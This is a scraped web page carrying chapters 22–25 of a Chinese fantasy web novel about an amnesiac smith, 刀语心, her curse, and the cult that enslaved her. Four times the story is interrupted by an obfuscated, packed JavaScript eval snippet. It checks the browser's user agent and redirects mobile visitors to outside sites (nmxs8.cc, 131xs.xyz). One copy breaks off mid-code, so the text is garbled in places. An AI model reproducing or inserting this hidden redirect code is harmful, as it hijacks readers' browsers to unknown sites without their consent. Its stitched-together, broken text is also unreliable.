;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387313|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以即便心中怒火滔天但裴瑛还是压制了手上的力量,否则面对五十五级的战士何弎可不只是吐口血这么简单。 不过这也足以让何弎短时间再无法开口叫嚣,宛如天壑的力量差距也让他深刻感受到刻在灵魂深处对于死亡的恐惧,跌倒在地的身体因惧怕而颤抖。 “哼,不见棺材不掉泪。” 见到何弎这副模样绿绮心中也舒畅了一些,她随后恶狠狠地向在场所有人说着:“谁要敢乱说刀语心坏话被我听见了,后果你们绝对不想承担。” “没想到你这条毒蛇嘴里还会说出几句人话。” 听到这话的叶冰彦没有反驳,变相印证了绿绮之前的话:是因为刀语心引开邪魔潮,所有人才得以安然无恙。 听到这句评价后绿绮狠狠瞪了叶冰彦一眼,但后者没有给予理会。 留下善后的叶冰彦对卫队其他人也说了同样的话: “刀语心是这次解决邪魔潮的英雄,邪魔潮因为她离开无名镇是无可改变的事实,谁要是敢再对她指指点点,那就别怪我不留情面。” 最后一句明显针对在场的某人。 言语间叶冰彦冷冽的目光扫过何弎,随后她带着卫队众人离开。 而绿绮见刀语心就要被裴瑛带走,急忙拦在几人前面。 “你要干什么?”对于救世会的人,裴瑛也没多少好脸色。 “别激动嘛,我知道我打不过你,我只是想来看看刀语心。”绿绮急忙摆手,她觉得自己是有自知之明的。 听见对方来找自己,刀语心将视线移到绿绮身上,但她没有任何与之相关的印象。 “你是谁?” “你不记得我了?我是绿绮呀,你怎么能忘了我呢?”碧绿眼眸中浮出委屈。 “我失忆了,有什么话等我恢复记忆再说,再见。”刀语心很有礼貌地和绿绮告别了,留绿绮在原地独自受伤。 不过绿绮很快调整好了状态,因为刀语心说等恢复记忆后可以去找她说话,而就算刀语心一时不记得自己,但她依然能为刀语心做其他的事。 比如除掉某些对刀语心有害的潜在威胁,她的视线扫过何弎。 但绿绮也在学习如何当好一个领袖,她知道贾偲和何弎关系匪浅,贾偲是一个合格的工具算得上有用,只要有利益他就会老老实实遵守命令。 如今救世会在无名镇还人手短缺,至少不能当着贾偲的面杀掉何弎,不过何弎也别想活太久。 她随即转身隐入黑夜,不再停留。 镇口此刻只剩下贾偲和何弎两人,见何弎连起身都做不到,贾偲只能冷着脸认命给他治疗,但在何弎接连惹怒卫队和救世会的首领后,贾偲已经彻底心死。 “我已经受够你了,你哥会因为你这个蠢货死去我可不会,你要找死别带上我。”失望已经积累太多次,以至于贾偲此刻情绪不再起伏,治疗完后他说着从空间扔出一沓货币给何弎。 “这是任务酬金的三分之二,包括你哥的那份,从此你我一刀两断。” 贾偲本不想违背何易临终前的承诺,对方让贾偲照顾好何弎,但何弎实在是恶毒又愚蠢,能活到现在都该归功于无名镇有卫队,大多数人不会也不敢滥杀无辜。 他承认何易是在末世后少见的好人,这也是他愿意和这两兄弟组成冒险家小队最主要的原因。 但在这秩序破碎还未重新建立的世界中,无用的善心和放纵只会让人变得更加恶劣,何弎就是最好的例子,而贾偲决心好好生活下去,不愿意再被何弎拖累。 看着贾偲离开的背影,何弎没有任何悔意,他不觉得自己有什么错,只认为贾偲就是个没良心的东西。 一切明明就不是他的错,都是刀语心的问题,都怪刀语心!心中的恶无限放大,他捏着钱从地上爬起,面目阴狠地想着要如何才能让刀语心偿还他失去的一切。 但在那之前,他得先去赌一把,毕竟说不定自己能赢一大笔钱去买凶杀人,贾偲也会跪在地上祈求他的原谅。 在大晚上做白日梦的何弎没发现自己影子中藏着一抹不易察觉的红。 23. 第 23 章 “这就是我家吗?” 看着面前有些陌生的建筑,刀语心发问。 “对,家里的每一处都是你亲手布置的。”裴瑛在刀语心身旁温声指导,让刀语心使用腕带终端打开家门。 失去记忆的刀语心细细打量院中的布置,除了被闲置杂草丛生的前院,其他地方都很整洁有序。 出于自身职业的影响,她发现墙壁上隐秘的刻印,那是极为复杂的防御装置。 她为什么要刻下如此复杂的防御?有什么东西在威胁着自己? 但这些问题只有拥有记忆的自己可以回答。 走过门前小道,推开门,她看到整洁但不失温馨的床铺,一阵困意将刀语心席卷,她有一种直接躺上去的冲动。 “我想睡觉了。” “嗯,那快去休息吧,我就在外面,有事随时唤我。”裴瑛看着在陌生环境中行事有些拘谨的少女,给了她一个轻柔的怀抱。 “晚安。” “……晚安。”回应完后,刀语心关上了房门。 安置好刀语心后,裴瑛和谢止沉在主厅开始交谈,“出镇后发生了什么?为什么她会失忆?” 只有一直陪在刀语心身边的他知道刀语心究竟经历了什么,裴瑛需要知道原因,然后去解决刀语心身上的问题。 将有关于异化之力和种子的部分替代抹去后,谢止沉将发生的一切告诉裴瑛,他把刀语心失忆的原因归咎于邪魔入侵刀语心的意识,顺便给出解决问题的方法: “如果要将刀语心从失忆状态中唤醒,我认为需要给她一些刺激,比如提起过去某些对她而言深刻的记忆。” 无数记忆片段闪过。 人生在世大多都是爱恨痴嗔,而在裴瑛关于刀语心的回忆中,刀语心迄今为止的生命中占比最多的应当是恨。 片刻停顿后,裴瑛眼中无数复杂情绪闪过,语调中夹杂着一丝苦涩开口: “她曾被救世会施下诅咒。” 那是浩劫后第十年,裴瑛一行人接了任务朝着沙漠深处行进,但很不幸,他们遇上了强大的原始异兽,她不顾队友阻拦孤身一人引开异兽。 和异兽生死搏杀后,脱力的她晕倒在沙漠之上,那时的她以为这就是自己的终局,那是个深黑的夜晚,漫天遍野没有任何一丝光亮。 但随着时间流逝,以为自己必死无疑的裴瑛再度醒来,随即坠入了另一片无边黑暗,一双无光的黑瞳。 裴瑛得救了,被一个高瘦的小女孩,那孩子就是刀语心。 那小女孩看上去才不到十岁,但在一夜间就将裴瑛卷刃的刀重新塑造如新的一般,在裴瑛醒来后就把武器递给了她,同时给裴瑛的还有一些治疗草药。 还没等裴瑛和对方说上一句话,外面传来嘈杂的声音,一群人突然闯入她们所在山洞将小女孩强行带走。 面对这样称得上恐怖的场面,那孩子没有哭闹,只是麻木地接受着一切的发生。 那些人想杀死裴瑛,不过他们没有得逞,即便重伤未愈,但只要有了刀就足够她保护自己。 虽然只是短短一面,但那双黑瞳自那以后印在裴瑛的脑海之中,她总觉得,那其中本该有些许光亮。 后来裴瑛沿着那群人在沙漠留下的踪迹来到无名镇,她知道那个救了自己的小女孩就在其中,只是找了很多天都没有找到,不过裴瑛从未打算放弃。 “快去找那个小孩,她又逃跑了!”某日她听到周围的人言语兴奋地说着,不过裴瑛感觉那并不是什么好人好事,她假意好奇地向其他人询问着,得到了答案: “有一个小孩,好像是什么锻造师职业,很珍贵,被看得很死但总想着逃跑,只要提供她逃跑的线索去找那些自诩救世会的人,他们就会给你提供一天的口粮。” 只不过说着,那人言语间也有些停顿。 “稳赚不赔的买卖,只不过有些……唉!反正现在的日子,能活下来就不错了,你要是有线索也可以去找那些人。” 那人看裴瑛装扮破烂也以为对方在为生机发愁,将救世会的据点位置告诉了裴瑛,不过他本人对此没有任何举措,兴致不高。 心情复杂地道谢后,裴瑛开始寻找那小女孩,但绝不是为了什么口粮,而是想要帮她,裴瑛知道那就是自己一直在找的人。 她在街边小巷中四处张望着,脚下没有片刻停顿,裴瑛心中有些愧疚,她觉得那孩子说不定之前就能离开,是因为救自己才再一次被抓回去。 功夫不负有心人,她找到了,不过来晚了一步,逃走的孩子已经被抓回去了。 有人拿着一袋食物分发给提供线索的人们,所有人都在急着争抢,而裴瑛挤在人群中看着小女孩被面容刻薄的妇人斥责,随后将小女孩关进一个狭小漆黑的木屋之中。 夜色降临后,裴瑛拿着饮用水和有些干硬的饼绕开救世会的守卫来到木屋外,但她摸索了一圈都没有发现任何投递食物的入口。 “是谁?”被黑暗包裹的刀语心失去了视觉,但她听得见外面传来的声响。 “是我,我是裴瑛,是那个在沙漠里被你救了的人。” 是那个身受重伤的姐姐,刀语心记得她,她有一把卷刃的大刀,自己磨了一个晚上才修好。 但刀语心平日与人交流十分稀少,在不知道说什么时,裴瑛的声音再次从外面传来。 “你躲开一点,我把这扇门砍开。” 听着那声音,刀语心思绪一滞,但还是听话的离开门边。 一声巨响震动着二人的耳膜,是裴瑛用刀砍向木门,在她抽离刀身的刹那,刀语心见到了从破损处射入的月光,暗淡柔和的光芒短暂照亮了她的眼睛。 随即裴瑛从缝隙中扯开木门,向刀语心伸出手说着:“和我走吧。” 那双瘦弱的手掌下意识牵上了裴瑛。 在守卫赶来之前裴瑛拉着刀语心一路狂奔,但就在即将离开镇子时,刀语心却主动放开了裴瑛的手。 裴瑛回头,看着站在原地的小女孩,月色给她单薄的身形又添上了一些悲凉之意,她身上没什么伤痕,但从那漆黑无光的眼中,能感受得到她精神状况不是很好。 “大姐姐,谢谢你救了我,但我还不能离开……至少现在不能,我和弟弟约好了,我们得一起逃走。” 看着瘦骨嶙峋脆弱得像是一阵风就可以吹散的小女孩,裴瑛心有不忍。 在这个荒诞世界中,这点天真的坚持虽然固然美好,但见识过很多丑恶的裴瑛并不赞成,她走近几步蹲下和小女孩平视,语调平和地劝说: “你可以之后再来救他,这次逃走再回去可能会受到很严重的惩罚。” “但这是约定。”刀语心垂下眼移开了视线,她知道自己的行为有让人不解,但她很少坚持什么,这是她唯一想要做到的事情。 “我拥有着他们不可或缺的价值,他们不会拿我怎样的。”她捏紧了拳头,指甲嵌入手心,做出决定的她重新抬头看向对方: “我只想完成我的承诺,至于后果……我会去承担。” 听着如此年幼的孩子说出这样的话,裴瑛只感觉到自己心中不断冒出名为哀伤的情绪。 她没再多说,只是牵起小女孩的手,走向他们来时的路。 在被重新抓走之前,裴瑛也知道了小女孩的名字,刀语心。 刀语心也察觉到裴瑛对自己的愧疚之情,她告诉裴瑛自己已经逃走过很多次,都无法逃走,所以每一次出逃她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403438|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是在为之后做准备。 她相信自己总有一天会摆脱那些人的控制。 “谢谢你裴瑛姐姐,你给我的饼很好吃。” 那时的裴瑛亲眼看着刀语心走回了牢笼,但她知道就算没有自己的帮助,刀语心也能够再次逃出去。 只不过…… “最后她失败了。” 回忆到此结束,裴瑛眼中闪过怒火但最终只剩下无尽悲怆。 “她被最信任之人背叛,还被施下了诅咒。” “她从不言说,但她是恨的。”除开那一次背叛,刀语心还经历过无数难以想象的精神折磨。 被救世会牢牢控制的她从没有自己的选择,而唯一由自己做出的选择也被人彻底毁掉。 “她恨无名镇,恨救世会,恨那个背叛者,更恨无时无刻不缠绕在她心脏上的诅咒。” “只要将诅咒呈现在她的眼前,那些刻骨铭心的恨会让她想起一切。” 为了让刀语心恢复记忆面对未来,所以得让她现在再次承受已经经历过一遍的苦痛…… 可她明明什么都没做错。 黯红阴翳掩盖着主人复杂的情绪,谢止沉明白纠结过去毫无意义,只有让刀语心醒来她才能去改变这一切,才能做出她真正想要的选择。 翌日,裴瑛让法阵师在刀语心房间周围布下一个防护法阵防止邪魔力量外溢,而谢止沉轻轻敲响了刀语心的房门。 门被打开后,看着站在自己面前的刀语心,谢止沉话语涌到嘴边但随后又被他吞下去。 看出谢止沉的欲言又止,刀语心主动询问: “今天要帮我恢复记忆了吗?” “对。” “那我该做些什么?”刀语心已经做出了她的选择,即便那些记忆并不美好,但她总得知道自己的来路,才能知晓自己将要去往何方。 “去……看见属于你的过去。” 看见那些无休止的恨意,再用仇恨凝成尖刀将此刻的困境划出一道豁口。 一面光滑无瑕的不规则镜子悬在刀语心面前。 随着一道法术流淌没入刀语心的双眼中,她视线范围内的世界开始变化,各式各样的光线在四处晕染流动。 在许多杂糅的颜色中,刀语心看到一抹诡谲色彩—— 镜中的心脏处有三圈幽紫色诡异尖刺环绕。 直至此时此刻,尖刺还在无休止地缓慢转动,像是在对她宣告:它们随时都能够刺入你的心脏。 灵魂深处传来震荡,有什么东西倾泻而出。 对不解未知的恐惧让她颤抖着出声询问:“那是什么?” “诅咒。” 断断续续的记忆随着某种浓烈的情绪袭来,刀语心有些愣神,她没分清此刻谢止沉的声音是来自现在还是过去。 “……要么杀死施咒者,要么达成特定的法阵逆向解除。” 如果将记忆比喻成一幅幅色彩不同的画卷,那刀语心最先想起的部分就是暗无天日的黑。 她大概明白谢止沉一开始为什么要犹豫,因为对她来说,或许什么都想不起来才是一种幸福。 但不可以啊。 那些该死的人都还没有去死啊。 “我知道了,谢谢你,接下来我想一个人待着。” 面对谢止沉担忧的目光,刀语心只是浅笑着安抚对方:“放心吧,我会想起所有的事情。”修长的指节抚着镜中的心脏,这是她的选择亦是她的承诺。 关上的门阻隔了视线。 随后,镜子被刀语心捏碎,视线也不再停留,破碎镜片折射中的幽黑双眸不再只余空无。 她知道自己必须恢复记忆,找到他们…… 然后清算一切。 24. 第 24 章 一门之隔,无数力量开始翻涌。 守在门外的谢止沉垂眼看着手腕上淡得几近透明的丝线思绪纷飞。 他确定这方法奏效了,但成功唤起刀语心部分记忆的他并没有喜悦之情,他很清楚,在利用恨意打破僵局的同时,刀语心也会被其刺伤。 站在门内的刀语心开始自己的反抗。 不同于之前,刀语心是被负面情绪驱动,此刻的她凭借自我的意志,从破口处撕开遮蔽记忆的黑纱。 被无尽恨意冲刷的她知道自己必须回忆起过往的一切。 即便黑纱像是黏上了她的意识,很难祓除,但就算是粘连着血肉,她也会将其彻底抹去。 在刀语心扯开黑纱使其松动的同时,另一半的邪魔之力也在蠢蠢欲动,想要伺机将她同化。 清楚自己该做什么的刀语心不会给它们这样的机会,她很快开始转化残存的力量,将那些属于邪魔的冰冷彻底抹去,重新塑造成属于她的异化之力。 对力量的渴求依然在不断放大,刀语心知道自己只有获得足够强的力量,她才能去塑造自己的命运。 随着黑纱消退力量全部转化完毕,刀语心失去许久的记忆全数重新回归,但还没来得及理清思绪,心脏外的一圈尖刺在某一刻瞬间缩紧刺入其中。 诅咒没有实体,但其带来的痛感绝非虚假。 从一瞬的刺痛开始,以心脏为起点,无数疼痛开始蔓延。 地上散落破碎镜片映照着刀语心此刻的状态:尖刺延展出诅咒的纹路,让其顺着脉络涌出浮现在刀语心的身体表面。 被侵蚀覆盖的地方皆传来痛感。 刀语心只觉得自己分裂成了两半,一半躯体承受着诅咒传来的痛感,另一半思绪被疼痛浇灌后不断蔓延疯长: 发作时间掐得可真准啊,这就是预言家吗? 预言家会预言到他们的死期么,是她做不到,还是说他们有恃无恐? 如果异化之力能够吞噬邪魔的话……它是不是也能吞噬这令人作呕的诅咒。 杀了他们,杀了他们! 层层叠加的声音在刀语心的脑海中震耳欲聋,被引导思想的她不自知地开始动作。 承载过度感受让神经有些麻木,连带着手臂也开始微颤,但刀语心像是没有被影响一般,操控着异化之力聚集在自己的指尖,手指照着镜子对准自己使其浸入血肉侵入心脏。 但很显然,刀语心当下对异化之力的不熟悉会让她试图吞噬诅咒的同时先将自己毁灭。 在异化之力快要触及诅咒的那一刻,刀语心手腕上的透明丝线瞬间凝结成实质变得赤红,制止刀语心动作的同时,唤回她的理智,重归清醒的她将手中异化之力驱散。 被打断后,刀语心意识不再受到蛊惑,也就无法忽视痛楚。 无尽的疲惫感涌入。 承受过量记忆冲刷、经历诅咒发作又被莫名声音驱使的刀语心太过虚弱,她已经无法再维持清明。 她的灵魂落入意识海之中,而潜藏在海底的怪物对此迫不及待。 感受到危险,处于灵魂状态的刀语心即将苏醒。 但很快,一道赤红将刀语心包裹,将她送回岸上,隔断未知怪物与她的接触。 她重新陷入沉睡。 做完这一切的谢止沉放开刀语心的手,帮她盖好被子。 在又一场苦战之前,至少先让她休息一会。 先前一直守在刀语心房间外的谢止沉感受到邪魔之力彻底消退,但刀语心并没有其他动作。 在察觉到刀语心凝结异化之力对准自己时,他心头一紧操纵红线制止她的动作,同时意识到不对的裴瑛打开房门,见到的就是因痛苦倒地陷入昏迷的刀语心。 将刀语心安置在床上后,裴瑛看着刀语心肌肤上布满可怖的幽紫色纹路,满眼心疼地轻叹:“她的诅咒发作了。” 救世会的人不会轻易放过刀语心。 看到这复杂咒文后谢止沉也心有疑虑:这诅咒不该出现在这个世界。 但他没有多说,只是不断治愈着刀语心身上的伤势。 裴瑛的通讯器响起,她按下静音离开房间,到屋外接通。 “裴队,镇口来了很多没见过的人,叶副队她有些应付不过来,还有一个自称占星者的女人指名要见您,她还让我告诉您,她知道有关诅咒的消息,您一定会感兴趣。” “我知道了。”裴瑛简短回复后,看向躺在床上昏睡不醒刀语心。 一旁的谢止沉也知道裴瑛身为卫队队长事务繁多,主动开口:“邪魔的力量已经彻底消失,她身上除了诅咒已经没有大碍。我会照顾好她,裴队你先去忙吧。” “那就有劳你了,有什么情况随时联系我。”面对卫队的突发情况,裴瑛只能又一次做出妥协。 目送裴瑛离开后,谢止沉在刀语心的床边一直不间断地为她施展疗愈法术,减轻她所承受的痛苦。 诅咒随着时间流逝逐步退却,幽紫色咒文最终从刀语心皮肤表面消失,但只要没有彻底将诅咒解除,它就有再度袭来的可能。 确认刀语心安然无恙,只等待一个醒来的时机后,谢止沉走出房门,才发现此刻已是深夜。 无暇顾及高悬于夜空的月,数根红色细线窜入他的手中,早在谢止沉第一次踏上无名镇的那一刻,他就将赤红流光分裂成无数细丝,四处游走收集信息。 挑拣出有用的那部分后,谢止沉得知无名镇这几天陆陆续续来了许多人。 除却本就在无名镇有据点的神殿、公会、卫队,还有定期前来的商会,现在来了占星会、军团……还有一些看似无势力归属的角色,这些人都在最近的时日,也就是邪魔潮结束后来到无名镇。 无利不起早,这么多人在邪魔潮之后来到这里,恐怕沙漠深处还有某些东西引得众人争抢。 不过谢止沉对此暂时没什么想法,他准备等刀语心醒来再做打算。 而在那之前…… 他得先把碍事的人解决。 深红眼眸看往某个方向,无穷杀意暗藏其中,在谢止沉布下流光守着刀语心的同时,院中的身影转瞬消失。 街边昏黑灯光下,被打得鼻青脸肿的何弎被人从赌坊中丢出。 “没钱就滚!” 没有人约束的何弎带着所有身家大赌特赌,总觉得自己能赢得巨款去买凶杀人,但很显然,他满盘皆输。 不信邪总觉得自己会赢的他甚至借赌坊钱上桌,最后一败涂地,还不上被暴打一顿,在被赶出去的同时背上一大堆债务。 他挣扎着从地上爬起,被打肿的眼中带着憎恨,这所有的一切在他看来都不是自己的问题,都是别人的错!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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确定没留下任何线索能够影响刀语心和自己后,谢止沉随即离开,毕竟在他看来何弎的尸体甚至不配当院中花草的肥料。 不久后,小巷迎来了第三个人。 被突然前来无名镇的各方势力搅得焦头烂额的绿绮顺着自己的标记迟迟赶到时,看到的却是一具尸体。 “怎么有人比我还快。” 慢一步的绿绮皱眉在心底骂着这人真是该死,让她少了一个能和刀语心邀功的话题。 想起刀语心,绿绮就不自觉开始唉声叹气,也不知道刀语心什么时候才会想起自己。 在即将抬步离开时,身体中有一半毒蛇血脉的绿绮敏锐察觉一旁滚在墙角的毒药,她知道这很大可能是就是这人准备对付刀语心的手段。 细长的眉皱起,随后她的尾巴卷起玻璃瓶砸在何弎尸体上,于是小巷中只剩下一摊不明液体,自此何弎这个人消失得无影无踪。 只不过在无人知晓的时分,四处散落的血液再度聚集,一个扭曲人影自血色中浮现,不断变化最终成为何弎的模样。 “刀语心……是谁?得……找到她。” 重获新生却又死气沉沉的“何弎”拖着染血的步子,消失在无尽的黑色中。 25. 第 25 章 漫无边际的意识海中央矗立着巍峨巨树,无数的枝桠向四面八方延伸,破碎树影投射在蜷缩于树根旁的灵魂之上,似是被点点光芒刺了双眼,沉睡的灵魂即将苏醒。 刀语心眨了眨眼睛,模糊的视线重新聚焦,映入她眼帘的是摇曳的树叶。 她迟迟没有动作,一片树叶悠悠飘落在她的手中。 即便刀语心处于灵魂状态没有连接躯体神经,但先前诅咒带来的痛感还略有残余。 不知是贪恋此刻的宁静还是需要一段适应时间,时间随着水波流淌片刻后,刀语心才重新撑起自己的身体。 看着一望无际的海平面,刀语心在心中梳理着这段时间发生的一切。 她必须解决诅咒,只要诅咒化作的荆棘还缠绕在心脏上,救世会就会永无止境地用诅咒胁迫自己。 通过谢止沉,刀语心得知解除诅咒需要杀死施咒者或是达成法阵,并不是二选一,这就代表她可以同时进行。 但无论是哪一种方式,永远待在无名镇是不行的,她必须离开。 而离开又面临着两个问题:金钱,以及救世会的阻碍。 前者对刀语心而言并不难解决。 从前救世会一直控制着刀语心手上的资源,但在受到诅咒后,刀语心得以离开,也得以慢慢累积起资源锻造东西进行买卖,通过交易不断正循环积累。 但后者就更费神一些。 只要发现刀语心想要离开无名镇,救世会绝对会有所行动,诅咒发作就是其中之一,她需要针对心脏上的诅咒做一些反制手段。 至少她不能让自己每一次诅咒发作都失去意识。 至于其他的手段,兵来将挡水来土掩,只要有足够的力量…… 是啊,力量。 不久之前被蛊惑的经历重现于刀语心的脑海,那种被操控的感觉实在让她不悦,即便是再讨厌诅咒,她也绝不会选择那么不理智的做法。 刀语心反思自己,她的确有些太迫切地想要获取力量,以至于让某些东西影响了她的心智。 漆黑的视线扫向深海。 很早之前刀语心就察觉到有什么东西藏在异化之力中,一直在干扰着自己,她讨厌这样,只是从前的她并没有解决方法,只能无视。 不过今时不同往日。 在没有吸收邪魔力量之前,刀语心掌握的异化之力就只有一小碗那么多,潜藏的怪物占据一半,但如今,刀语心掌握的力量是从前的无数倍。 而那藏起来的怪物无力也没有办法再从刀语心手中抢夺一半。 现在,它就藏在意识海的某个角落之中,刀语心需要找到它,然后彻底杀死它。 确定自己的目标后,刀语心闭上双眼,她静静感受着意识海中的一切。 不多时,在察觉到那怪物所潜藏的方向后,她径直朝着一个方向走去,随后坠入暗不见底的黑海之中。 灵魂状态下并不需要呼吸,在属于自己的意识空间中,刀语心只需一个念头,就可以抵达海底最深处。 即便满目皆黑,但刀语心依然能够分辨出某团黑色是不属于自己,不属于此处的。 那团黑影想要逃窜,但它无论跑到哪里都会被逼回原地,它想要融入周围的异化之力来隐藏自己,但如今刀语心已经彻底掌控了所有的异化之力,黑影被彻底排除在外。 无法再躲藏下去的黑影撕掉伪装,尖啸着显出原本的面目打算与刀语心殊死一搏。 身为与邪魔相似能量体的它,并不是某种单一的色调,也并不像邪魔一样完整,而是混沌又残破的灰。 “残破不堪的种子就应该安安分分地去死啊!” 面对残影袭来的攻击,刀语心不为所动。 “这里该死的只有你。”不带一丝感情的话语从她口中说出。 残影的挣扎注定只是徒劳,在属于刀语心的意识空间中,她是唯一的至高存在,刀语心只是一个念头,深海中沉寂的异化之力化作绳索形态,从四面八方出现死死禁锢了那个怪物。 感受到死亡迫近的残影对着刀语心呲牙咧嘴,它用尽浑身解数嘶吼着发出一道声波。 察觉到声波的刀语心却没有任何躲避的意图,她放任自己受到影响,只不过感受到其中熟悉的力量后,她嗤笑一声。 “用我的力量对付我?你还真是异想天开。” 睡了一觉恢复精神的刀语心状态是前所未有的好,正常状况下,这样一点渺小的力量完全不足以影响她的情绪。 她随机继续控制着异化之力,打算将残影彻底扯碎。 “住手……住手!你难道不想知道我是什么吗?” “不想。” “你不想知道职业树为什么会石化吗?你不想知道有关另一个世界的事吗?只要你让我活着,我就可以全部告诉你。”残影语速极快,担心下一秒刀语心就将自己杀死。 石化?刀语心在心中默念。 她确实没有发现职业树有这样的病症,毕竟她本就不怎么在乎职业树本身,但碍于职业树与她本身有着千丝万缕的联系,她决定给残影一点喘息的时间。 “说。” “你得先立下誓言,帮我找到一个能用的躯体。” 获得一个躯体自由行走在世间是它们这样的残影至高渴求,这也是为什么它一直在影响刀语心,它想要夺取刀语心的躯壳。 生死关头依然不忘记为自己谋取利益,还真是利欲熏心。 对此刀语心只是操纵异化之力,把它的身躯向四面八方拉开,控制在一个随时能杀死它的程度。 “要么说,要么死。”在这里浪费时间已经是她最大的宽容。 残影对刀语心毫无办法,只能先说出自己知道的一部分信息:“你是海域中诞生的种子,他们会用我们这样的残影用来污染和控制种子。” “他们是谁?” 一个音节即将说出口,但残影在那瞬间溃散,耳边的尖啸转瞬化作虚无。 看来是某种禁制,刀语心想到,那些存在能利用残影对她动手脚,也会在残影上加以制约。 不过……她是种子? 疑惑在她的脑海中埋下。 解决完隐患的刀语心打算直接离开回到现实世界。 不过她并没有如愿离开。 不知从哪里冒出的树根缠住刀语心的腰身,还没等刀语心反应过来,她已经重新浮出水面回到巨树面前。 缠着她的枝干没有松开的意向,延伸出来的枝丫不断轻点着树干,似乎在示意刀语心做点什么。 但刀语心也没有第一时间理会,而是抬头看着树顶,她发现确实有一部分枝桠灰白,只是离得太远,又加上她从不注意,才迟迟没有发现。 不多时,视线范围出现了距离更近的枝桠,是她的视线被职业树故意遮挡,腰上的束缚感强了一些,似乎是在斥责刀语心的分神。 “好好好,我不看了。” 说着,刀语心终于抬手抚上树干,通过灵魂与职业树的连接,她也得知自己被拽回来的原因:她三十级了,可以获得一个新的天赋和技能。 见自己的目的达成,缠绕着刀语心的树根重新回归到职业树之中,临走前,枝干给刀语心绽开了一朵白色的小花。 不过刀语心没有注意到这份小小的礼物。 天赋和技能都是随机获得,她没有选择的权利,此刻刀语心只是抱着手思考职业树的枝干为什么会石化。 但她毫无头绪。 一圈圈涟漪蔓延到海面上,不远处散发的蓬勃生命力也吸引了刀语心的注意,她抬头,职业树上分叉出了新的枝干。 与其他普通的树枝不同,这条枝桠上面布满复杂古朴的纹路,富有规律但让人难以捉摸,这也代表着刀语心获得了一个新的天赋。 枝桠上面的纹路在与刀语心视线相交的那一瞬亮起光芒,刀语心也得知自己新获得的天赋: 异噬:吞噬不同的矿石加强自己的锻造能力。 思索着天赋介绍,刀语心不由地想起自己的异化之力也是通过吞噬获得力量,这个天赋是被异化之力连带影响了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427576|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 还没等刀语心理清头绪,接着又有一根不断延长的树枝将一颗果实送到刀语心手中。 这是职业树结出的技能果实,每十级经验能够结出一颗。 她毫不留情将其捏碎,从中流淌出的汁液顺着掌缝滴落,融入进意识海中。 捏破果实后刀语心也查看自己新获得的技能,视觉强化:能够看清非常细微的纹路。 看来和刻印有关,有些刻印太过细密有了这个技能便不用再借助其他手段,算得上是中规中矩的技能,刀语心原本也没有抱有期望,技能对她而言都只是锦上添花。 理论上只要材料和时间充足,即便没有这些技能刀语心也照样什么都可以锻造出来。 确认没有其他事情后,刀语心离开意识空间,这次她没有受到阻碍。 意识重新回笼,从床上醒来刀语心撑着身体,习惯性唤出腕带面板查看时间,发现自己昏迷了两天多,现在已经是三月二十四的午夜。 虽然意识还算清醒,但灵魂刚回归的躯体有些昏昏沉沉。 不过她没错过通讯录的消息提示,她点开查看,发现是商人时隔大半个月发来的回信。 -是差点死了,不过我得到了一个你绝对想要的情报。 回复时间在昨天下午,而在此之前的上一条消息是刀语心发给对方的“十多天了,不会真死了吧?” 情报大概率就是与救世会相关,他这是在等着她开价?只能说真不愧是精明的商人。 在刀语心思考要用什么价值的东西去和对方交换时,视线却落到床头柜上放着的水和食物,水杯下还压着一张纸条,上面用工整的字迹写着:厨房有粥。 冷寂的黑夜中,刀语心感受到了一丝暖意。 她可不会有常备食物的好习惯,那些没日没夜锻造的日子只让刀语心练出连续几天不吃东西的本领,她很清楚自己身上痊愈的伤势连同现在看到的一切都是谢止沉做的。 还真是麻烦他了。 嘴角挂着自己都没察觉到的笑意,刀语心坐在床边吃着东西回复商人:“什么时候到无名镇,价格面谈。” 以为对方或许要一段时间后才会看到消息,发完消息后刀语心就收起了通信面板,但不过片刻就收到回复,消息提示声还接二连三响起。 -明天一早就到。 -你都不问问我为什么差点死了吗? -好狠心…… 看见消息的刀语心内心毫无波澜,她不带一丝感情地敲着回复。 “有句古话叫作祸害遗千年,而且还有一句你常说的话:这是另外的价钱。再说了咱们半斤八两吧,我也差点死好几次。” “看在我们同病相怜的份上,如果要保命装置我可以给你打九九折。” 